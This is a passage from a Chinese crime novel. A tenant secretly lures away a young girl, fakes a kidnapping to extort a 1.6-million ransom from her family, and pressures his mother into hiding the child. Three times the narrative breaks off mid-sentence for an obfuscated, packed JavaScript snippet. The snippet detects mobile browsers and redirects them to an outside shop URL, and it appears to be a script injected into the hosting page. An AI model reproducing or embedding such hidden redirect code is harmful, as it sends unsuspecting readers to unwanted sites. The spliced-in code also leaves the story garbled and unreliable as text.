“我们沿江边找了,都没有。”何阿公叹息着坐在藤椅上,“连河里都找了,唉……” “河里”两字让室内的空气更加压抑。 “这样下去不是办法。”何序抬起眼,神情肃然地看了一遍何阿婆和何阿公,“不能再等了,我们得报警。” 大厅里一瞬间静得落针可闻。蔡岛嘉下意识地看向何序——这和他预想得不一样。在他的推测中,何序拿走了墙后的钱,应该是最反对报警的那一个人。 还有一个人的反应也在他的意料之外。 原本应该最想要报警的孩子母亲——徐朝颜,在听到何序的报警要求后,瞪大眼睛看向他,然后下意识地看向何阿婆和何阿公。显然,她认为自己无权做主。 而孩子的爷爷奶奶呢? 在恍若一个世纪的沉默中,何阿婆终于开口:“兴许朵朵她就是跟我们赌气,一时躲起来了呢?要我说,现在就报警太着急了。再等等……说不定明天一早,她自己就回来了。” 何阿公没有说话。但沉默,同时也是一种表态。 蔡岛嘉看着这一家人与他想象中截然不同的反应,感觉脑子像是被搅拌机搅过的水泥,越来越乱,越来越重。 “如果她没事,当然皆大欢喜。但如果有事呢?晚一分报警,她就多一分的危险。”何序冷静地说,“无论什么情况,朵朵的安危都应该是最重要的。” “可万一她真的只是贪玩呢?”何阿婆瞪眼,“你报了警,警察到处张扬,娃娃回来知道自己闯祸,说不定又要离家出走!” 何阿公咳了一声,轻声说:“这样吧,你们先不要慌,再等一晚。要是明早还没回来,我们再报警不迟。” “可是……”何序眉头越发紧皱,他环顾众人,似乎想在人群中寻找一个支持者。然而除了他,没人站出来支持他的意见。 蔡岛嘉回到神来,不管这一家人还藏着什么猫腻,当务之急是阻止何序报警。 “这个年纪的孩子,生气离家出走确实不是很少见。”他小心翼翼地说道,“也许是住在同学家里,想吓吓你们。说不定明天就回来了。” “是啊!朵朵平时那么乖,大不了就是吓吓我们,明天就回来了。如果现在报警,街坊邻居都知道了,闹到学校,朵朵会被她朋友们笑话的!”何阿婆第一次站出来附和蔡岛嘉的言论。 蔡岛嘉暗中观察,在心中纠正此前的推论:难道拿走墙后美金的,其实是何阿婆夫妇? 他给夏禧递了个眼神,后者清了清嗓子,也劝道:“要不这样吧,小何。我看小蔡和何阿婆说的也有些道理。朵朵这么聪明的孩子,应该不会有事,要不我们再等一晚吧?” 何序张了张嘴,没有再继续坚持。 “……那就再等一晚。”他说。 这个夜晚比之前任何一个都要漫长。一二楼的灯光始终没有熄灭。蔡岛嘉和夏禧回到了自己房间,但他们彼此都能从走路的动静中辨认出对方同样没有休息。 蔡岛嘉不睡,是睡不着。一种在血液里脉动的尖锐的兴奋,支撑着他睁眼等到天明。 又一个不眠之夜熬了过去。第二天傍晚时分,朵朵仍杳无音讯,何序再也坐不住了。 “再找下去也不是办法。”暮色中,何序声音干涩,“马上报警吧。” 这一回,没有人再反驳他,但依旧没有人支持他。蔡岛嘉坐在沙发上,视线几次落到茶几边缘的那份今日晚报上。 “……你们不去我自己去。”何序抓起手机,站起身来。 “我开车送你。”蔡岛嘉立即站起身来,走过茶几的时候,故意用膝盖撞落了那份报纸。报纸落到地上,飘出一张纸片。 何志国“咦”了一声,弯腰捡起:“这是什么?” 众人的目光齐刷刷投向他手里举着的那张纸。纸是最普通的那种A4打印纸,上面剪贴着乱七八糟的印刷字样。 何阿公还在戴老花眼镜,A4纸已经到了何序手里,他看着从报纸上剪下来的字,一个个念了出来: “你们拿走了属于我的东西——想要朵朵平安,8月5日中午十二点,拿一百六十万现金到火车站换朵朵。” 他的声音停顿了一下,更加低沉地读完了上面的内容: “……敢报警就撕票。” 短短两行字,像两道炸雷,炸碎了客厅里粉饰的太平。 “朵朵不是和我们生气,离家出走吗?怎么会是被绑架了?”徐朝颜六神无主地看向何阿婆等人。 “绑匪说你们拿走了他的东西,你们心里有数吗?”蔡岛嘉试探地问道。 “拿走了谁的东西?神经病吧!”何阿婆情绪激动,一拍沙发扶手,怒喝道。 何序拿着A4纸没说话,徐朝颜依然在看几人脸色。 “现在怎么办……你们打算报警吗?”夏禧一脸为难。 “当然要报。”何序断然说。 蔡岛嘉屏住呼吸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728007|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聚精会神地看着何阿婆和何阿公,期望他们再次拦下何序。 “不许报警!听到没?对方说了报警就撕票——谁敢去报?!” 她双目圆睁地瞪着何序,像一只被激怒的老鹫。 “你不去我去,我不会拿朵朵的安全开玩笑。”何序不为所动,瘦削的面庞上一片坚持。 “秀英……”何阿公从沙发上站了起来,叹了口气,“事到如今,孩子的性命最重要。” 何阿婆从椅子上弹起,椅脚在地上发出刺耳的噪音,她颧侧的筋一条条绷起,脸上布满愤怒,声音尖得像玻璃边缘擦过:“孩子的性命当然重要!我从来没有忘记过!所以我们不能报警,绝对不能!” “可朵朵怎么办……”何阿公说。 何阿婆咬紧了牙关,咬肌在那层干瘪的皮肤下起伏。她从牙缝里,一个字一个字地咬出来:“眼下要紧的是朵朵,钱——不就是一百六十万吗,凑就行了!” 蔡岛嘉在这一刻确信,一定是这个老妖婆拿走了墙后的美金,才在这里阻止众人报警。 她可藏得真深——不但卷走了墙后的二十万美金,还到处哭穷,捡垃圾,用馊饭敷衍他们——蔡岛嘉越想心里越气,恨不得将这老虔婆给活埋在她那堆废品里面。 “一百六十万?”徐朝颜神色不安地看着何阿婆和何阿公,“咱家有这么多钱吗?” “没钱就去凑,去借。总之,不能报警,不能让娃娃有丝毫危险。”何阿婆怒声说,“钱可以再挣,人是最重要的。大不了,把名下的所有房子都卖了!” 何阿公叹息道:“如果交了赎金,人能回来都还好,如果……” “没有如果!”何阿婆凶狠地打断他的话,“那张纸上说了,他们要钱,要那个东西!还给他们就好了!” 蔡岛嘉站在人群稍后,悄然打量着何家众人的神情。恐惧、慌乱、愤怒……但唯独没有人再提报警二字。这让他心中大石彻底落地。 那张剪贴字条就掉在茶几边地上,上面冰冷的字句如同一只噬人的暗兽,潜伏在每个人心头。 他故作忧虑地开口:“咱们真的不报警吗?也许警察可以暗中帮忙……” “不行!”他话音未落,何阿婆已尖声喝止,眼刀一般剜过来,“你懂什么!人命关天,万一撕票你负得起责吗!” “算了,小蔡你就别掺和了。”何阿公无奈地摆手阻止,“事关朵朵的安全,这事不能闹大,也请你们两个租客替我们保密了。” “既然你们都这么决定了……”蔡岛嘉装作不得已的样子,答应为此保密。 何序沉默地盯着地上那封信,神情犹疑而矛盾。 一时间无人说话。静谧的空气中,众人只听得彼此粗重不稳的呼吸。 夏禧扶着墙站在门边,露着惴惴不安的神色。她半张着嘴,想说什么却没有发出声音,只有那只大金毛犬不安地在她脚边打转,低声呜咽。 “各位,要不我说两句?”片刻后,她轻声开口,“要不大家都先冷静一下,想想办法。我看天也不早了,何阿婆、阿公,还有小何你们两个,都累了一天,不如先休息会儿?” 她这话看似关切,却恰好给所有惊弓之鸟找了个台阶下。何家人如梦初醒般各自起身,有的去倒水,有的掏出纸巾擦汗。谁也不愿再多说一句,纷纷脸色凝重地散了开去。 客厅里霎时间空荡下来,只剩下地上那张勒索字条静静躺着,仿佛一双无形的眼睛,还在冷冷注视着这座风雨飘摇的房子。 夜深人静。蔡岛嘉上了三楼,四下无人。他脚下步子比往日更轻快。 回到房间后,他推开窗户,让闷热的空气涌进充斥着空调冷气的房间。夜幕如墨,村道在地平线上汇入城市道路,一直延伸向遥远的江边,他想象着那条被夜色压得很窄的路,仿佛能看到尽头只有几粒微弱的灯光在眨。 看着何家人所有人乱成一团,他的心头翻涌着一阵难抑的兴奋。胜利近在眼前——只要再过不久,他就能得到足以改变命运的巨款。到那时,他要离开这个令人窒息的房子,离开这片令他屈辱压抑的泥潭,再也不用仰人鼻息地苟活。 窗外,笼罩八里村的黑暗中不知何处传来一声隐约的猫儿呜咽,又转瞬消逝。 他知道隔壁的窗台上,那只蠢狗一定正趴在窗前,无声地望向夜空。然而这些声音与生命,对蔡岛嘉而言,都轻如鸿毛,转瞬即逝。 他缓缓伸出手,将窗户关上。窗玻璃上映出他模糊而坚决的侧脸,重叠在远方幽暗的夜色中,融为一体。 27. 第 27 章 8月4日早上九点的天空仍是一层未刷匀的灰白。小区口摊贩喊价、推销蟑螂药的喇叭沙沙作响,野狗对着来往的车吠叫不停,空气里夹着徘徊不去的一股湿热与机油气味。 蔡岛嘉在居民楼下把车停稳,抬脚迈上楼道,敲响了那扇猪肝色的防盗门。 他习以为常地走进屋,两脚一别脱下运动鞋,塞进蔡娟弯腰给他放在脚前的拖鞋。和他记忆中的那个家相比,屋子有了细微的差别:墙上的婚纱照不见了,餐桌上的烟灰缸没有了,鞋柜也空空落落了,蔡娟没有提起出走的丈夫,但她憔悴的脸色却无声地提醒着他,那个叛徒仍在他看不见的地方逍遥,这是对他最大的背叛。 蔡岛嘉走进客厅,电视里放着动漫频道,颜色亮得刺眼。朵朵缩在沙发上,一条腿弯着,拿遥控器往后仰,看到他,整个人像被一把弹簧撑起。 “他们是不是吓坏了?”她把声量压低,还是憋不住兴奋,“一定后悔逼我写作业了吧?” 蔡岛嘉把在楼下小卖部随手买的一包便宜零食往茶几上一放,几包辣条从黑色塑料袋里滑了出来。 “哪有那么快。得消失久一点,他们才会真的害怕。”他走近两步,低声说,“再玩两天,等他们真的慌了,你就赢了。” “好!”她晃了晃赤着的脚,把蔡娟给她新买的那双黄色卡通拖鞋踢到了一边。 厨房里传来瓷碗互相碰触的声音,蔡娟一边忙碌,一边说:“等我包完这盘饺子,我们就可以吃饭了。” “谢谢阿姨!”朵朵站到沙发上响亮地应了一声,又立刻盘腿坐下,“小蔡哥哥,你答应我的东西都带了吗?” 蔡岛嘉把另一个袋子卸到茶几上,从里面翻出一叠透明亚克力片、细木条和一管热熔胶。 “当然带了。”他冲朵朵眨了下眼,“小咪很快就有新家了。” “玻璃的那种吗?”她眼睛一下亮起来。 “差不多。”他把亚克力片一张张摊开,又从茶几的抽屉里拿出剪刀等工具。 朵朵负责拿尺,他负责画线。热熔胶枪升温时冒出一缕白烟,屋子里多了股温热的塑料味,一丝一缕,与厨房里飘出的韭菜香缠在一起。亚克力片贴合的一瞬,边缘像被透明的缝线缝住,缝里细密的气泡在光下冒出来又灭掉。 朵朵握着花枝鼠,在一旁专心致志地看,肥硕的小鼠在她掌心安静地待着,胡须时不时抖动两下,嗅嗅空气。 “这边做个坡道,这里打几个孔。”蔡岛嘉指着半成的鼠别墅,“它就能跑上跑下,像没有墙一样。” “那它就会想逃跑。”朵朵说。 “但它逃不掉。”他说。 房子成形用了大半个小时:两层平台,一条弯弯的透明通道,顶上留了个可以开合投喂的小窗。朵朵将小咪轻轻放至亚克力盒子里,花枝鼠轻盈地蹿进新居,沿着通道一路往上,小爪子在透明地板上留下一串粉白的印,到了顶层,它顺着空气里的食物味,把脑袋挤到开口边,左右嗅了嗅,尾巴轻轻一甩,往回跑。朵朵趴在边上看,脸贴得很近,小动物在她的呼吸里转了一个弯,仿佛真的获得了自由。 蔡娟把饺子端出来,顺手把电视音量调小:“来吃热腾腾的饺子。” 朵朵把注意力从鼠别墅上拉回来,一脸期待地喊道:“我最喜欢吃饺子了!” “那就多吃一点。”蔡娟笑着说,但笑意没到眼里。 饭后,蔡娟把茶几上的空盘重叠到一起,要收回厨房。朵朵立即穿上拖鞋,说:“我来帮你,阿姨!” “不用,你坐着看电视就行。”蔡娟说,“儿子,你帮我把蘸碟拿进来。” 蔡岛嘉啧了一声,拿起蘸碟,直接放在了蔡娟的空盘子上面,酱油立即洒了出来,和剩下的饺子混在一起。 “这样不就行了?” 蔡娟不怎么严厉地瞪了他一眼:“不行,跟我到厨房来。” 他这才不耐烦地起身,跟着蔡娟走进厨房。 蔡娟打开水龙头,用抹布擦了擦桌面,抹布上有一小块无法洗净的油渍,颜色像陈年的茶。擦到一半,她看似平静的声音流出喉咙:“儿子,这孩子到底怎么来的?” “朋友的啊,他们旅游去了。”蔡岛嘉用之前的借口搪塞她,“让孩子在这边住几天。” 蔡娟关上水龙头,厨房里忽然安静,客厅里传来鼠别墅里跑轮转动的声音。她把抹布挂回水龙头旁,水滴沿着抹布角往下走,她没有去拧干,背对着蔡岛嘉,肩微微一动:“那朋友的电话呢?我问问她妈,她应该想孩子了吧。” 蔡岛嘉皱起眉头,不快的眼神钉在母亲的背脊骨上:“不用。” “为什么不用?”她转过身,眼睛里婚姻失败的忧愁和不安退去了,浮上来另一个表情,像是被翻开的旧照片,失去颜色,只剩下苍白的寒意,“你告诉妈实话。” 空气里仍有热熔胶的气味,时间仿佛也被黏住,他下意识地移开目光想逃避这个话题,但过了片刻,他再移回来,看见的是蔡娟毫无动容的神色。 “妈,”他终于开口,含糊道,“她暂时不能回去。” “为什么?” “因为我有点事。” “什么事?”她问得很慢,像在拉一根已经崩到极致的线。 “就是有点事。”他的话像一块干燥的砖,扔到桌面,砸出干硬的回声。 “你——”蔡娟的唇形在“你”字上停住,好像被什么东西卡住了,“你是在……绑架吗?” “不是。”他答得飞快,更像是在背一个熟悉的答案,“我没有伤她一根手指头。她吃得好睡得好,玩得比在家还痛快。我只是借她用用。” “……借?” 蔡娟直愣愣地看着他。她终于松开了手里的抹布,手指止不住的颤抖,与其说将其放回台面,不如说抹布自己掉了下去。她的嘴唇翕动了好几次,终于挣扎着说完了一整句话。 “你说你改好了,你说你不会再……你说你会好好过。”她的声音几近蚊吟,眼神中充满乞求的痛苦,“儿子,别再犯同样的错,赶紧把孩子给人送回去——” “我说了,我没伤她一根指头。我只是拿她吓吓人——为了要回本来就是我的东西。”蔡岛嘉烦躁地重复,“我好吃好喝地供着她,这叫坏?” “可她只是个孩子,她的父母知道她在这里吗?知道她——在你这里吗?如果他们报警怎么办?你已经二十八岁了,你不能再犯错了呀,儿子!” “所以我没碰她。妈。我只需要你帮我看着她两天。然后我就会把她送回去。” “不要。”蔡娟几乎是本能地后退半步,恐惧的视线扫过厨房外的客厅,那里传来动漫频道夸张的配音和朵朵欢快的笑声,“把她送回去。现在就送。” “我不呢?”蔡岛嘉有恃无恐地盯着她,没有给她丝毫缓冲的时间,“你想报警?让我再进去蹲几年?让所有人知道,你不仅马上要成离了婚的女人,唯一的儿子还被你亲手送进监狱?” 蔡娟的眼神跳了一下,脸上的神情更痛苦了。 “妈——”他用最轻柔和依恋的声音说道,“你如果报警,我什么都保不住。你不是最清楚吗?他们会怎么对我?” “他们?”她仿佛被他的代称刺到,“那些警 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728008|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 察——” 他打断她的话:“你说我变坏,我什么时候坏过?我只是偶尔会做一些错事,但谁不做错事?他们总是大惊小怪,根本不给人改正的机会。你看着我长大,你是我的妈妈,就算全世界都不站在我这边,你都应该支持我。” “帮我一次。只要这一次,妈——求你了。”蔡岛嘉恳求道。 蔡娟呆呆地站在原地,像一个卸了发条的玩具,但蔡岛嘉知道她唯一的答案。 “我得先走了,有什么事就给我打电话。”他转身走出厨房,又回头,这次的目光中带着警告,“别做会让我麻烦的事。” 客厅里传来两人对话的声音。 “朵朵,哥哥先走了。想吃什么就跟蔡阿姨说,电视你想看多久看多久。” “好,小蔡哥哥拜拜!” 随着一声防盗门合拢的轻响,蔡娟的最后一丝力气也像被抽走了。 “蔡阿姨,你还在厨房里忙吗?要不要我帮忙?”朵朵喊道。 “……不用,阿姨已经收拾好了。”蔡娟下意识说,她看了眼还没洗的碗盘,已经没有精力待在这个地方。 她逃回卧室,关上房门,顺着坚硬的木板慢慢滑坐下来。 床头柜上,三人的家庭合影还没收起来,那时候她的眼角还没有皱纹,丈夫的手还搭在她的肩上,儿子仍叫姜必成,带着她和丈夫对儿子“必成大器”的祝愿。她远远地看着木头的小相框,心脏像被浸泡在寒冬腊月的井水里。 门外传来朵朵看动漫时清脆的笑声,那股沉重的无忧无虑像泰山一样压在她的身上,令她无法呼吸。 她用冰冷的手指掏出手机,在数字按键上慢慢地按下两个1和一个0。 “不可能是我的儿子!这里面一定是有什么误会!” 十五年前,她在公安局歇斯底里,为儿子的清白奋不顾身地大吵大闹。然而,越来越多的证据摆在她的眼前,令她的声音越来越小,越来越动摇。 可儿子还在拘留所会面时哭着说“不是他”。她怀胎十月,冒死生下的孩子,含着泪水隔着铁窗对她哭喊“救救我,妈妈”,“不是我,妈妈”,“你一定要相信我”。 她怎么能够不信? 尽管会有不安,尽管会有怀疑,但作为一个母亲,就算全天下都不相信她的儿子,她都应该相信。哪怕要闭上眼睛,蒙上耳朵,只要能够保护她的孩子,她都在所不惜。 直到警方将他的认罪书摆在她的眼前。那熟悉的笔迹,用最残忍的方式撕碎了她的自欺欺人。 她知道死的也是别人捧在心尖的孩子。 她很痛惜,很羞愧。 但那终归是别人的孩子。 只有自己的孩子跌落火海,一个母亲才能感受到不折不扣的疼痛。 窗外有风把窗纱吹出一个脊背,她的目光又一次停留在床头柜的家庭合照上:他还那么小,站在双亲的影子里,脸上露着缺了一颗牙齿的灿烂笑容。 手机屏幕的灯光在许久没有动作后,无声地熄灭了。她像扔开一块烫手山芋,猛地将手机抛了出去。手机滑进床底,屏幕亮了一下,又灭了。 蔡娟抓住自己的双臂,指甲深深陷入肉里,胸腔像被一双利爪撕开,痛苦的嚎叫已经顶到喉咙,她把声音硬生生咬断——牙关咬疼了舌尖,喉咙只剩粗重的气声在颤。 小小的三人合照上,姜胜微笑的面庞像是对她的无声嘲笑,仿佛在说:“看,我早就说过,他没救了。” “……至少我还在这里。” 她从牙缝里挤出微弱的声音。 “至少我没有逃跑,懦夫。” 28.第 28 章 蔡岛嘉回到自建楼的时候,没人搭理他。 所有人都围在一楼客厅里的那个透明的正方形大茶几前,何阿婆正在开一个生锈的旧铁皮盒,钥匙插进去转了两圈才开,里头叠着塑料袋裹的存折、折成四方的票据、两本房本。纸的味道混着一点霉。何阿婆拿东西时手在半空中停了停,像是感受到什么灼热的温度。 铁皮箱旁边,是何家人东拼西凑的全部家当。除了户名不同的存折和银行卡外,甚至还有一沓红色的现金。 徐朝颜正蹲在茶几旁清点总数,蔡岛嘉悄悄站到了夏禧身旁,挂出一张担忧的脸。 “银行里有五十三万,这些现金有一万。”徐朝颜把存折和卡整理到一起,看向何阿婆。 “我还有套正在出租的三室一厅,上次有人出价七十我都没卖。现在应该也能卖六十。”何阿婆说。 “那也不够一百六十万……” 徐朝颜脸色苍白,重新看向手里的存折,又数了一遍,仿佛这样能多出一些数字。 何序坐在沙发上,眉头紧皱,眼下有淡淡的青色:“不够的,我可以去借。” “我还有些金子,可以拿去卖掉。”何阿婆说,“还不够,我和老何豁出这张老脸也要借够这一百六十万。” 一直没吭声的夏禧靠着墙,盲杖放在身侧。她开口很平:“我这里有二十万,借你们。” 屋里安静了一秒。蔡岛嘉没想到夏禧来这一套,诧异的目光在她脸上停了一秒,随即他就察觉到那些绿莹莹的眼神落到了自己身上,仿佛在问“你呢?” 他被赶鸭子上架,犹疑地说道:“我……我给我妈打个电话,估计也能借个一万。” “行,谢谢你们,我们也不多废话了,朵朵确实需要这笔救命钱。等事情了了,这笔钱我们一定会还你们的。”何阿公郑重地说道。 “小徐,你陪我去银行取钱,老何,你给你的朋友打电话,看能借多少。”何阿婆神色匆匆。 徐朝颜连忙站起身。 客厅里一瞬间涌出了行动的气流,鞋柜被拉开,何阿婆身上的钥匙串撞在一起叮叮当当。 时间像在空中被一只透明的手往一个方向推,每走一点,茶几上的现金就多出一点。何阿公和何序坐在客厅里,电话一通接着一通:亲戚、发小、同事、老同学。每一通电话结束,挂断键像一枚小铁块落地,发出轻微的“叮”。有的人答应得干脆,有的人吞吞吐吐,有的人提出见面说。 白色的充电线从插座拉向茶几,两人的手机已打空几次电量。 蔡岛嘉也躲在厨房里给蔡娟打了个电话,索要一万元现金。 “别问那么多,给我就行了。过两天就还你。”他蛮横地下达命令,随即挂断了电话。 四点过,他和夏禧一同出门,去银行各自取钱。 “你没事发什么颠,为什么要借钱给他们?”一上出租车,蔡岛嘉就忍不住骂道。 “当然是为了不被怀疑。”夏禧若无其事地说,“人家孩子被绑架了,一家人急得砸锅卖铁,你见着了,多多少少不出点?” 操,她说的有道理。蔡岛嘉不得不承认。 “但你出的也太多了。二十万——你让我不出个一万都不好意思。”蔡岛嘉说。 “反正钱最后也是我们的。”夏禧说。 两人来到银行,蔡岛嘉取了一万块,放在纸信封里,夏禧取的二十万则用了一个背包来装。两人回到自建楼,将牛皮纸和背包都放到了透明茶几上,像新加入的祭品。 只是不知祭的是谁。 六点过,何阿婆和徐朝颜回来了:她们像经历了另一种风吹日晒。何阿婆把一个鼓鼓囊囊的牛皮提包摆上桌,边角破了皮,露出底色。提包里是大量崭新的现金。 “老房子低价出掉了,那黑心眼的中介只肯出五十六万,但好在马上就能拿钱,我就答应了。存折里能提的也都提了,都在这里。” 徐朝颜蹲在茶几前,拿起计算器加了又加,屏幕上的数字停在“1390000”那一行。还差二十一万。天已经黑下来,吊灯把众人的影子压得很扁。空气里有炒过的油和某种汗味,混成一种黏的、无法蒸发的热。 “继续借。”何序说。 何阿婆坐下,手指揉着提包破掉的那一个角,像在揉一个看不见的疤。她愣愣地坐着,看着何阿公继续打电话,时不时给他支招:“你上次那个姓王的学生呢?给他打电话试试?” 何阿公拿着手机,翻通讯录,手指停停走走。每个名字都是一段已久未联系的气味,翻出来都有些发酸。 他排除了下午那些已经拨打过的电话,重新一个个拨出去,声音变得更加客气、低柔、带点难掩的愧疚和不安;何序不打电话,发文字消息,打打停停,在手机上敲个不停。 蔡岛嘉安静地坐在角落,隐匿了自身的存在感,贪婪的目光却像水蛭一样攀附在茶几的现金堆上。 那都是他的。 如果能都是他的就好了。 他用余光瞥了眼身旁的夏禧,很快又缩了回来,像触到了什么滚烫的东西。 到了夜里八点,桌上的水杯换了一轮又一轮。筹来的钱像一桶慢慢蓄起的水,每次倒入都能看见水面往上蹿一指,却始终离桶沿还有一截。蔡岛嘉坐在侧边,眼看这家人像一台笨重却不肯停的机器,齿轮吱吱地往前磨。 他们借钱的动静太大了。也许他们拿到美金后还没来得及兑换成人民币,也许是何阿婆不想让其他人知道那笔钱的存在,哪怕对方是她唯一的儿子。也许他从一开始就该直接索要那二十万美金。 但事已至此,他只能装作一无所知,装作真心为朵朵安危而担心的样子,沉默地等待。 深夜十一点,钱终于凑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732772|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐到一百六十万。透明茶几被挤得满满当当:信封、牛皮纸袋、扎带成捆的钞票。一股新旧夹杂的油墨味扑鼻而来,辣得蔡岛嘉心口发热。 屋里没人马上说话。他们几乎同时吐了一口气,只不过原因各不相同。 徐朝颜回房间拿了一个二十四寸的行李箱——蓝色底,印着蝴蝶结和HelloKitty,在这样的场景下显得更加滑稽。拉链头挂着一个不知多早前的机场牌,被她粗暴地一把扯下,扔进垃圾桶里。 茶几上的钱一束束塞进去,每塞一束,箱体就沉上一分。最后合上拉链时,拉链齿像一排细小的牙在夜色里一颗颗咬合,发出一串细密的“咔哒咔哒”。 “明天中午,谁去?”徐朝颜看向众人。 “我去。”何序毫不犹豫。 何阿婆张了张嘴,但也想不出更好的人选。蔡岛嘉很高兴自己的身份在这里形同透明,没人会让他在这件事上代劳。明天,他会比任何人都忙。 “要小心。”何阿公把箱子立了起来,忧心忡忡地说,“手机开着。如果有什么情况……安全最重要,无论是你的,还是朵朵的。” “别报警。”何阿婆的脸因为紧张而用力绷在一起,她又把那句老话翻出来,像一只怕弄丢的护身符,“千万别跟任何人说。” “我知道。”何序低声说。 “……辛苦你们陪我们一天了。”何阿公看向坐在角落的夏禧和蔡岛嘉,一脸疲惫地再次承诺,“你们的钱,我们一定会还的。” “没事,特殊时期,都能理解。”蔡岛嘉忙说,“朵朵安全回来就是我们最大的愿望。” 夏禧也点了点头:“是啊,孩子安全回来比什么都重要。” 众人分散回屋,脚步声比平时轻许多。还有不到十三个小时,就是交付赎金的日期。 在那之前,谁也不知道朵朵是否会随着这一百六十万的离去而归来。 如果绑匪收了钱,但没有把人还回来呢? 没有人提出这个问题,没有人敢问,没有人能够承受答案。而唯一能够决定答案的人,仍在犹豫当中。 楼道里有风从窗缝钻进来,带着一丝潮意,吹动挂在墙上的旧日历边角。上面的日期已经过去了两天,没人想起再去翻它。 蔡岛嘉走向通往三楼的楼梯,夏禧仍在尽责地饰演一个盲人,笨拙地用盲杖丈量地面,每一步都走得格外得慢。蔡岛嘉落在她的身后,目光状若自然地落向身后:何阿婆拉着那个滑稽的蓝色行李箱,正在走向一楼的主卧。 他的眼神钉在箱子上,像在看一个新做好的、装满呼吸的囚笼。 明天,明天他就会拥有这一百六十万。 窗外,院子里的槐树把夜切得更碎,一点猫声从很远的地方飘来。第二天的火车站,还没有发出属于它的喧哗,但时间的沙漏,已经开始朝那边慢慢流去。 29.第 29 章 翌日中午,太阳大得让人睁不开眼。江都火车站外的市民广场热得发亮,灰白色的地砖晒得像刚出炉的铁板,来往旅人的影子在蒸腾的热气中左右晃动。玻璃门内的冷气格外充足,与门外仿佛两个世界。几个排满人群的检票口上方挂着“文明出行,迎奥运”的标语,胖乎乎的福娃笑得过分卖力,在这种天气里像五块被烤软的彩色塑料。 广播喇叭循环播着列车晚点与进站提示,何序拖着二十四岁的蓝色HelloKitty行李箱,走在一众摊贩吆喝、拉客黑车的喊价、运货平板车碾过地砖的摩擦声中。 他穿着一如往常的黑T黑裤,但下巴上的青色胡茬已两日忘记刮了,与眼下的青色交相掩映。 他又拿出那张用剪贴报纸贴出来的勒索信看了一遍。 “你们拿走了属于我的东西——想要朵朵平安,8月5日中午十二点,拿一百六十万现金到火车站换朵朵。敢报警就撕票。” 他焦躁地看了眼手腕上的表盘,距离十二点整还有半个小时。勒索信上只写了地点和时间、赎金金额,却没写交易方式。未知令人忐忑,令人恐惧。尤其是这未知,涉及到一个年仅十二岁的无辜生命时。 他用空闲的另一只手一直握着手机,震动的第一时间,他就拿了起来——不是未知号码,来电人的名字上写着“妈”。 他接了起来,何阿婆洪亮而急躁的声音立即响了起来: “喂?你到没有?” “已经到了。”何序看了眼四周,寻找着可能像是劫匪的人,“还没见着人。” “也许是要等到十二点。”何阿公的声音在旁边响了起来。徐朝颜没说话,但他能想象到她一脸不安站在旁边的情形。 “有情况我会主动联系你们,先不说了。万一有电话要打进来。”何序说。 “行,行——接着人了马上告诉我们。”何阿婆说完,电话很快挂断了。 他继续捏着手机,等待着那个可能打进来,也可能不会的电话。 时间一分一秒过去,何序盯着腕表上的指针,度日如年。秒针、分针和时针在十二交汇的下一秒,他的手机强烈震动起来。他的心像是沉进了水里,又像是被抛上了高空,究竟是更轻松了,还是更沉重了,他难以分辨。 “……喂?”他声音沙哑地接起这个陌生来电。 他听到了模糊的背景音,喧闹、嘈杂,隐约还有音乐。片刻后,一个模糊不清的声音从电话另一头响起: “现在开始,听我指令。带着箱子走出大门。” 何序拉着行李箱,按照指示,挤出行色匆匆的人群,站到了热气扑面而来的车站门口。 “我到门口了。”何序说。 “在福娃招牌下,有一辆红色捷达。把箱子放到后备箱里。什么都别说。多一句话,撕票。” 何序的目光左右张望,很快就锁定了那面巨大的福娃广告牌,在牌子下方,一辆红捷达熄了火,停在广告牌的阴影中,紧闭的车窗贴着黑色的膜,看不清车里人的模样。 何序无意识地咽了口唾沫,嗓子像撒哈拉沙漠那样粗糙干燥。 “我要听孩子的声音,确认她还安全。”他低声说。 电话那头沉默了一会,但并未马上回绝,何序没有催促,耐心等待,直到手机中传来一阵闷糊的窸窣,一个小小的、带着空气的声音从金属里拐出来,像隔得很远:“……我才不要儿童乐园餐,我已经不是小孩子了。” 随即,那个模糊微弱的声音重新响了起来: “好了吧?再提要求就终止交易。”那个声音不耐烦地说,“别挂电话,就这样走到红色捷达面前,把钱放后备箱。放了就走,想要你女儿平安回来的话,一个字都不许和司机说。” “好。我按你说的做。” 何序咬紧牙关,一手拿着手机保持通话,一手握着行李箱的拉手,向广告牌下的红色捷达大步走去。 轮子在地面急促地滚过,咔哒咔哒的声音像小鬼一样追在身后。他走到红色捷达车前,窗玻璃缓缓摇了下去,司机是个中年男人,神色轻松自如,嘴里还在嚼口香糖。他没有下车,只是把后备箱锁“啪嗒”一声打开。 